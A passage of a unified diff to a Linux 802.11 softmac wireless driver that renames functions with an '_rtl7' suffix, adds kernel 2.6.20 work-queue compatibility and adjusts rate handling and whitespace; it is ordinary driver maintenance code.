printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - 